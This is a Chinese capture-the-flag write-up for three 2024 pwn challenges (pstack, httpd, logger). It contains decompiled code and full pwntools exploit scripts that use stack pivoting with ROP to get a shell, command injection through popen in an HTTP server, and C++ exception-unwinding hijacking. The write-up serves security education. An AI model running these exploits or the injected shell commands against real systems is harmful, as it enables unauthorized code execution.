题目附件https://github.com/nyyyddddn/ctf/tree/main/%E7%BE%8A%E5%9F%8E%E6%9D%AF2024pwn

pstack

程序逻辑非常简单,存在栈溢出只能覆盖返回地址,没有pie,通过二次栈迁移,控制rbp来实现任意地址写,然后第一次栈迁移往bss写满泄露地址的rop,之后二次迁移过去执行就可以执行rop,第一次rop泄露地址,第二次rop直接getshell

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "139.155.126.78"
PORT = 32922
elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

p = connect()

rdi=0x0000000000400773
rbp=0x00000000004005b0
leave_ret=0x4006DB
ret=0x4006DC
vuln=0x4006C4

payload = flat([
    b'a' * 0x30,0x601730,vuln
])
sa("Can you grasp this little bit of overflow?",payload)

payload = flat([
    rdi,elf.got['read'],elf.plt['puts'],
    rbp,0x601a30,vuln,
    0x6016f8,leave_ret
])
s(payload)
rl()
libc_base = u64(r(6).ljust(8,b'\x00')) -libc.sym['read']
success(hex(libc_base))

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

payload = flat([
    rdi,binsh,system,b'a' * 0x18,
    0x6019f8,leave_ret
])
s(payload)

p.interactive()

httpd

// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // eax
  int result; // eax
  int v6; // eax
  int v7; // eax
  struct tm *v8; // eax
  __time_t tv_sec; // edi
  int st_size; // esi
  const char *v11; // eax
  struct dirent **namelist; // [esp+8h] [ebp-14134h] BYREF
  int v13; // [esp+Ch] [ebp-14130h] BYREF
  int v14; // [esp+10h] [ebp-1412Ch] BYREF
  int v15; // [esp+14h] [ebp-14128h] BYREF
  int v16; // [esp+18h] [ebp-14124h] BYREF
  char v17; // [esp+1Ch] [ebp-14120h] BYREF
  char *haystack; // [esp+20h] [ebp-1411Ch]
  int i; // [esp+24h] [ebp-14118h]
  size_t v20; // [esp+28h] [ebp-14114h]
  char *has_host; // [esp+2Ch] [ebp-14110h]
  char *v22; // [esp+30h] [ebp-1410Ch]
  int stdout_fd; // [esp+34h] [ebp-14108h]
  int v24; // [esp+38h] [ebp-14104h]
  FILE *stream; // [esp+3Ch] [ebp-14100h]
  int v26; // [esp+40h] [ebp-140FCh]
  FILE *v27; // [esp+44h] [ebp-140F8h]
  int c; // [esp+48h] [ebp-140F4h]
  struct stat v29; // [esp+4Ch] [ebp-140F0h] BYREF
  char modes[2]; // [esp+A6h] [ebp-14096h] BYREF
  char v31[16]; // [esp+A8h] [ebp-14094h] BYREF
  char v32[116]; // [esp+B8h] [ebp-14084h] BYREF
  char v33[1908]; // [esp+12Ch] [ebp-14010h] BYREF
  char input_data[10000]; // [esp+8A0h] [ebp-1389Ch] BYREF
  char httpMethod[10000]; // [esp+2FB0h] [ebp-1118Ch] BYREF
  char requestPath; // [esp+56C0h] [ebp-EA7Ch] BYREF
  char v37[9999]; // [esp+56C1h] [ebp-EA7Bh] BYREF
  char httpVersion[10000]; // [esp+7DD0h] [ebp-C36Ch] BYREF
  char file[20000]; // [esp+A4E0h] [ebp-9C5Ch] BYREF
  char v40[15588]; // [esp+F300h] [ebp-4E3Ch] BYREF
  __int64 v41; // [esp+12FE4h] [ebp-1158h]
  char *v42; // [esp+12FECh] [ebp-1150h]
  int v43; // [esp+1312Ch] [ebp-1010h] BYREF
  unsigned int v44; // [esp+14120h] [ebp-1Ch]
  int *p_argc; // [esp+1412Ch] [ebp-10h]

  p_argc = &argc;
  while ( &v43 != (int *)v33 )
    ;
  v44 = __readgsdword(0x14u);
  memset(&v33[884], 0, 1024);
  v20 = 0;
  strcpy(modes, "r");
  if ( chdir("/home/ctf/html") < 0 )
    puts_error(500, (int)"Internal Error", 0, "Config error - couldn't chdir().");
  if ( !fgets(input_data, 10000, stdin) )
    puts_error(400, (int)"Bad Request", 0, "No request found.");
  if ( __isoc99_sscanf(input_data, "%[^ ] %[^ ] %[^ ]", httpMethod, &requestPath, httpVersion) != 3 )
    puts_error(400, (int)"Bad Request", 0, "Can't parse request.");
  if ( !fgets(input_data, 10000, stdin) )
    puts_error(400, (int)"Bad Request", 0, "Missing Host.");
  has_host = strstr(input_data, "Host: ");
  if ( !has_host )
    puts_error(400, (int)"Bad Request", 0, "Missing Host.");
  v22 = strstr(has_host + 6, "\r\n");
  if ( v22 )
  {
    *v22 = 0;
  }
  else
  {
    v22 = strchr(has_host + 6, (int)"\n");
    if ( v22 )
      *v22 = 0;
  }
  if ( strlen(has_host + 6) <= 7 )
    puts_error(400, (int)"Bad Request", 0, "Host len error.");
  if ( has_host == (char *)-6 || !has_host[6] )
    puts_error(400, (int)"Bad Request", 0, "Host fmt error.");
  v42 = &v17;
  HIDWORD(v41) = &v16;
  __isoc99_sscanf(has_host + 6, "%d.%d.%d.%d%c", &v13, &v14, &v15);
  if ( !fgets(input_data, 10000, stdin) )
    puts_error(400, (int)"Bad Request", 0, "Missing Content-Length.");
  has_host = strstr(input_data, "Content-Length: ");
  if ( !has_host )
    puts_error(400, (int)"Bad Request", 0, "Missing Content-Length.");
  v22 = strstr(has_host + 16, "\r\n");
  if ( v22 )
  {
    *v22 = 0;
  }
  else
  {
    v22 = strchr(has_host + 16, (int)"\n");
    if ( v22 )
      *v22 = 0;
  }
  if ( strlen(has_host + 16) > 5 )
    puts_error(400, (int)"Bad Request", 0, "Content-Length len too long.");
  if ( strcasecmp(httpMethod, "get") )
    puts_error(501, (int)"Not Implemented", 0, "That method is not implemented.");
  if ( strncmp(httpVersion, "HTTP/1.0", 8u) )
    puts_error(400, (int)"Bad Request", 0, "Bad protocol.");
  if ( requestPath != 47 )
    puts_error(400, (int)"Bad Request", 0, "Bad filename.");
  haystack = v37;
  urldecode(v37, v37);
  if ( !*haystack )
    haystack = "./";
  v20 = strlen(haystack);
  if ( *haystack == '/'                         // 目录穿越检查
    || !strcmp(haystack, "..")
    || !strncmp(haystack, "../", 3u)
    || strstr(haystack, "/../")
    || !strcmp(&haystack[v20 - 3], "/..") )
  {
    puts_error(400, (int)"Bad Request", 0, "Illegal filename.");
  }
  if ( !sub_1F74(haystack) )
    puts_error(404, (int)"Not Found", 0, "Invalid file name.");
  v3 = fileno(stdout);
  stdout_fd = dup(v3);
  v4 = fileno(stderr);
  v24 = dup(v4);
  freopen("/dev/null", "w", stdout);
  freopen("/dev/null", "w", stderr);
  stream = popen(haystack, modes);
  if ( stream )
  {
    pclose(stream);
    v6 = fileno(stdout);
    dup2(stdout_fd, v6);
    v7 = fileno(stderr);
    dup2(v24, v7);
    close(stdout_fd);
    close(v24);
    if ( stat(haystack, &v29) < 0 )
      puts_error(404, (int)"Not Found", 0, "File not found.");
    if ( (v29.st_mode & 0xF000) == 0x4000 )
    {
      if ( haystack[v20 - 1] != 47 )
      {
        snprintf(v40, 0x4E20u, "Location: %s/", &requestPath);
        puts_error(302, (int)"Found", (int)v40, "Directories must end with a slash.");
      }
      snprintf(file, 0x4E20u, "%sindex.html", haystack);
      if ( stat(file, &v29) < 0 )
      {
        sub_23D9(200, "Ok", 0, (int)"text/html", -1, v29.st_mtim.tv_sec);
        v26 = scandir(haystack, &namelist, 0, (int (*)(const void *, const void *))&alphasort);
        if ( v26 >= 0 )
        {
          for ( i = 0; i < v26; ++i )
          {
            sub_2704(v32, 0x3E8u, (unsigned __int8 *)namelist[i]->d_name);
            snprintf(file, 0x4E20u, "%s/%s", haystack, namelist[i]->d_name);
            if ( lstat(file, &v29) >= 0 )
            {
              v8 = localtime(&v29.st_mtim.tv_sec);
              strftime(v31, 0x10u, "%d%b%Y %H:%M", v8);
              printf("<a href=\"%s\">%-32.32s</a>%15s %14lld\n", v32, namelist[i]->d_name, v31, (__int64)v29.st_size);
              sub_20C6(file);
            }
            else
            {
              printf("<a href=\"%s\">%-32.32s</a>    ???\n", v32, namelist[i]->d_name);
            }
            printf(
              "</pre>\n<hr>\n<address><a href=\"%s\">%s</a></address>\n</body></html>\n",
              "https://2024ycb.dasctf.com/",
              "YCB2024");
          }
        }
        else
        {
          perror("scandir");
        }
        goto LABEL_74;
      }
      haystack = file;
    }
    v27 = fopen(haystack, "r");
    if ( !v27 )
      puts_error(403, (int)"Forbidden", 0, "File is protected.");
    tv_sec = v29.st_mtim.tv_sec;
    st_size = v29.st_size;
    v11 = sub_2566(haystack);
    sub_23D9(200, "Ok", 0, (int)v11, st_size, tv_sec);
    while ( 1 )
    {
      c = getc(v27);
      if ( c == -1 )
        break;
      putchar(c);
    }
LABEL_74:
    fflush(stdout);
    exit(0);
  }
  result = -1;
  if ( v44 != __readgsdword(0x14u) )
    check_canary();
  return result;
}

程序的逻辑很长,实现了一个http request parse,然后相应请求,大多数逻辑都是对http request的格式做判断,还有目录穿越的检查

漏洞出在这里popen这里

这个popen会fork一个子进程,然后调用shell,把参数传过去,也没有做过滤,所以可以通过这里执行命令

exp

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "139.155.126.78"
PORT = 30523
elf = context.binary = ELF('./httpd')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

p = connect()

payload = flat([
    b'GET ',b'/cat%20%2Fflag%20%3E%20flag.txt ',b'HTTP/1.0\r\n',
    b'Host: 00.00.00.00\r\n',
    b'Content-Length: 0\r\n'
])
p.send(payload)
p.close()

p = connect()
payload = flat([
    b'GET ',b'/flag.txt ',b'HTTP/1.0\r\n',
    b'Host: 00.00.00.00\r\n',
    b'Content-Length: 0\r\n'
])
p.send(payload)

p.interactive()

logger

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int choice; // [rsp+4h] [rbp-7Ch] BYREF
  unsigned __int64 v4; // [rsp+68h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  init_io(a1, a2, a3);
  choice = 0;
  while ( 1 )
  {
    menu();
    scanf("%d", &choice);
    if ( choice == 3 )
    {
      puts("Bye!");
      exit(0);
    }
    if ( choice > 3 )
    {
LABEL_10:
      puts("Wrong!");
    }
    else if ( choice == 1 )
    {
      Trace();
    }
    else
    {
      if ( choice != 2 )
        goto LABEL_10;
      warn();
    }
  }
}

int init_io()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  return setvbuf(stderr, 0LL, 2, 0LL);
}

unsigned __int64 Trace()
{
  int i; // [rsp+Ch] [rbp-24h]
  int j; // [rsp+Ch] [rbp-24h]
  int v3; // [rsp+10h] [rbp-20h]
  __int16 v4; // [rsp+26h] [rbp-Ah] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("\nYou can record log details here: ");
  fflush(stdout);
  for ( i = 0; i <= 8 && byte_404020[16 * i]; ++i )
    ;
  if ( i <= 8 )
  {
    byte_404020[16 * i + read(0, &byte_404020[16 * i], 0x10uLL)] = 0;
    printf("Do you need to check the records? ");
    fflush(stdout);
    v4 = 0;
    scanf("%1s", &v4);
    if ( (_BYTE)v4 == 121 || (_BYTE)v4 == 89 )
    {
      v3 = 8;
      for ( j = 0; j <= 8 && byte_404020[16 * j] && v3; ++j )
      {
        printf("\x1B[31mRecord%d. %.16s\x1B[0m", (unsigned int)(j + 1), &byte_404020[16 * j]);
        --v3;
      }
    }
    else if ( (_BYTE)v4 != 110 && (_BYTE)v4 != 78 )
    {
      puts("Invalid input. Please enter 'y' or 'n'.");
      exit(0);
    }
  }
  else
  {
    puts("Records have been filled :(");
  }
  return v5 - __readfsqword(0x28u);
}

unsigned __int64 warn()
{
  unsigned __int64 v0; // rax
  _QWORD *exception; // rax
  __int64 v3; // [rsp+8h] [rbp-78h]
  char buf[16]; // [rsp+10h] [rbp-70h] BYREF
  __int64 v5[4]; // [rsp+20h] [rbp-60h] BYREF
  __int64 v6[5]; // [rsp+40h] [rbp-40h] BYREF
  unsigned __int64 v7; // [rsp+68h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  clean_up(buf);
  memset(v5, 0, sizeof(v5));
  sub_4014FD(v5, 32LL);
  printf("\n\x1B[1;31m%s\x1B[0m\n", (const char *)v5);
  printf("[!] Type your message here plz: ");
  fflush(stdout);
  v0 = read(0, buf, 0x100uLL);
  HIBYTE(v3) = HIBYTE(v0);
  buf[v0 - 1] = 0;
  if ( v0 > 0x10 )
  {
    memcpy(byte_404200, buf, sizeof(byte_404200));
    strcpy(dest, src);
    strcpy(&dest[strlen(dest)], ": ");
    strncat(dest, byte_404200, 0x100uLL);
    puts(dest);
    exception = __cxa_allocate_exception(8uLL);
    *exception = src;
    __cxa_throw(exception, (struct type_info *)&`typeinfo for'char *, 0LL);
  }
  memcpy(byte_404100, buf, sizeof(byte_404100));
  memset(v6, 0, 32);
  sub_4014FD(v6, 32LL);
  printf("[User input log]\nMessage: %s\nDone at %s\n", byte_404100, (const char *)v6);
  sub_401CCA(buf);
  return v7 - __readfsqword(0x28u);
}

程序有两个漏洞 Trace函数循环边界没有处理好 有一个越界写的漏洞,可以把buffer overflow这个字段覆盖一部分

.data:0000000000404020 00 0A 00 00 00 00 00 00 00 00+byte_404020 db 0, 0Ah, 7Eh dup(0)       ; DATA XREF: Trace+58↑o
.data:0000000000404020 00 00 00 00 00 00 00 00 00 00+                                        ; Trace+9F↑o
.data:0000000000404020 00 00 00 00 00 00 00 00 00 00+                                        ; Trace+CE↑o
.data:0000000000404020 00 00 00 00 00 00 00 00 00 00+                                        ; Trace+147↑o
.data:0000000000404020 00 00 00 00 00 00 00 00 00 00+                                        ; Trace+168↑o
.data:00000000004040A0                               ; char src[]
.data:00000000004040A0 42 75 66 66 65 72 20 4F 76 65+src db 'Buffer Overflow',0  

warn有一个栈溢出的漏洞,但是有一个输入长度的检查,如果输入长度 > 0x10就会进到异常处理的逻辑然后throw一个buffer overflow的字段,由外面一层函数的catch捕获后 handler

unsigned __int64 warn()
{
  unsigned __int64 v0; // rax
  _QWORD *exception; // rax
  __int64 v3; // [rsp+8h] [rbp-78h]
  char buf[16]; // [rsp+10h] [rbp-70h] BYREF
  __int64 v5[4]; // [rsp+20h] [rbp-60h] BYREF
  __int64 v6[5]; // [rsp+40h] [rbp-40h] BYREF
  unsigned __int64 v7; // [rsp+68h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  clean_up(buf);
  memset(v5, 0, sizeof(v5));
  sub_4014FD(v5, 32LL);
  printf("\n\x1B[1;31m%s\x1B[0m\n", (const char *)v5);
  printf("[!] Type your message here plz: ");
  fflush(stdout);
  v0 = read(0, buf, 0x100uLL);
  HIBYTE(v3) = HIBYTE(v0);
  buf[v0 - 1] = 0;
  if ( v0 > 0x10 )
  {
    memcpy(byte_404200, buf, sizeof(byte_404200));
    strcpy(dest, src);
    strcpy(&dest[strlen(dest)], ": ");
    strncat(dest, byte_404200, 0x100uLL);
    puts(dest);
    exception = __cxa_allocate_exception(8uLL);
    *exception = src;
    __cxa_throw(exception, (struct type_info *)&`typeinfo for'char *, 0LL);
  }
  memcpy(byte_404100, buf, sizeof(byte_404100));
  memset(v6, 0, 32);
  sub_4014FD(v6, 32LL);
  printf("[User input log]\nMessage: %s\nDone at %s\n", byte_404100, (const char *)v6);
  sub_401CCA(buf);
  return v7 - __readfsqword(0x28u);
}

cpp的异常处理围绕着三个步骤进行处理,unwind cleanup handler,unwind会调用一些函数来判断当前栈帧中有没有能处理异常的逻辑,如果有就会把控制权转移到那边处理异常,如果没有,unwind就会找父函数有没有处理异常的逻辑,具体是怎么找的,是通过rbp和 rbp + 8 去确定父函数的栈帧位置,当前函数找不到就会调用cleanup去清理资源,然后根据rbp和rbp + 8去回溯到上一个栈帧那,直到unwind找到一个可以捕获异常的逻辑,就会把控制权转交过去然后由这段逻辑进行handler。

如果把rbp + 8覆盖成一个其他的try块的地址,就能扰乱unwind栈展开的流程,logger中有一段backdoor 也是catch一个字符串类型的异常,通过覆盖返回地址就可以把控制流劫持到这个位置执行backdoor,先通过上面的越界写去写一个binsh的字符串,然后覆盖返回地址扰乱unwind的流程 使这个异常被backdoor handler处理,最后getshell

.text:0000000000401BC2                               ;   try {
.text:0000000000401BC2 E8 69 F7 FF FF                call    ___cxa_throw
.text:0000000000401BC2                               ;   } // starts at 401BC2
.text:0000000000401BC2
.text:0000000000401BC7                               ; ---------------------------------------------------------------------------
.text:0000000000401BC7                               ;   catch(char const*) // owned by 401BC2
.text:0000000000401BC7 F3 0F 1E FA                   endbr64
.text:0000000000401BCB 48 83 FA 01                   cmp     rdx, 1
.text:0000000000401BCF 74 08                         jz      short loc_401BD9
.text:0000000000401BCF
.text:0000000000401BD1 48 89 C7                      mov     rdi, rax
.text:0000000000401BD4 E8 67 F7 FF FF                call    __Unwind_Resume
.text:0000000000401BD4
.text:0000000000401BD9                               ; ---------------------------------------------------------------------------
.text:0000000000401BD9
.text:0000000000401BD9                               loc_401BD9:                             ; CODE XREF: .text:0000000000401BCF↑j
.text:0000000000401BD9 48 89 C7                      mov     rdi, rax
.text:0000000000401BDC E8 FF F5 FF FF                call    ___cxa_begin_catch
.text:0000000000401BDC
.text:0000000000401BE1 48 89 45 E8                   mov     [rbp-18h], rax
.text:0000000000401BE5 48 8B 45 E8                   mov     rax, [rbp-18h]
.text:0000000000401BE9 48 89 C6                      mov     rsi, rax
.text:0000000000401BEC 48 8D 05 AD 06 00 00          lea     rax, aAnExceptionOfT_1          ; "[-] An exception of type String was cau"...
.text:0000000000401BF3 48 89 C7                      mov     rdi, rax
.text:0000000000401BF6 B8 00 00 00 00                mov     eax, 0
.text:0000000000401BFB                               ;   try {
.text:0000000000401BFB E8 D0 F5 FF FF                call    _printf
.text:0000000000401BFB
.text:0000000000401C00 48 8B 45 E8                   mov     rax, [rbp-18h]
.text:0000000000401C04 48 89 C7                      mov     rdi, rax
.text:0000000000401C07 E8 54 F6 FF FF                call    _system
.text:0000000000401C07                               ;   }

exp

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "127.0.0.1"
PORT = 9999
elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

def create_ucontext(
    src: int,
    rsp=0,
    rbx=0,
    rbp=0,
    r12=0,
    r13=0,
    r14=0,
    r15=0,
    rsi=0,
    rdi=0,
    rcx=0,
    r8=0,
    r9=0,
    rdx=0,
    rip=0xDEADBEEF,
) -> bytearray:
    b = bytearray(0x200)
    b[0xE0:0xE8] = p64(src)  # fldenv ptr
    b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr

    b[0xA0:0xA8] = p64(rsp)
    b[0x80:0x88] = p64(rbx)
    b[0x78:0x80] = p64(rbp)
    b[0x48:0x50] = p64(r12)
    b[0x50:0x58] = p64(r13)
    b[0x58:0x60] = p64(r14)
    b[0x60:0x68] = p64(r15)

    b[0xA8:0xB0] = p64(rip)  # ret ptr
    b[0x70:0x78] = p64(rsi)
    b[0x68:0x70] = p64(rdi)
    b[0x98:0xA0] = p64(rcx)
    b[0x28:0x30] = p64(r8)
    b[0x30:0x38] = p64(r9)
    b[0x88:0x90] = p64(rdx)

    return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    return got, flat(
        p64(0),
        p64(got + 0x218),
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x40,
        create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
    )
# e.g. dest, payload = setcontext32.setcontext32(
#         libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
#     )

p = connect()

binsh = 0x4040A0

for i in range(8):
    sla("Your chocie:", str(1))
    sla("here: ", b'a' * 0x10)
    sla("records? ", b'n')

sla("Your chocie:", str(1))
sla("here: ", b'/bin/sh;')
sla("records? ", b'n')


sla("Your chocie:", str(2))
payload = b'a' * 0x70 + p64(binsh) + p64(0x401bc7)
sa("plz: ", payload)


p.interactive()
2024-09-04

⬆︎TOP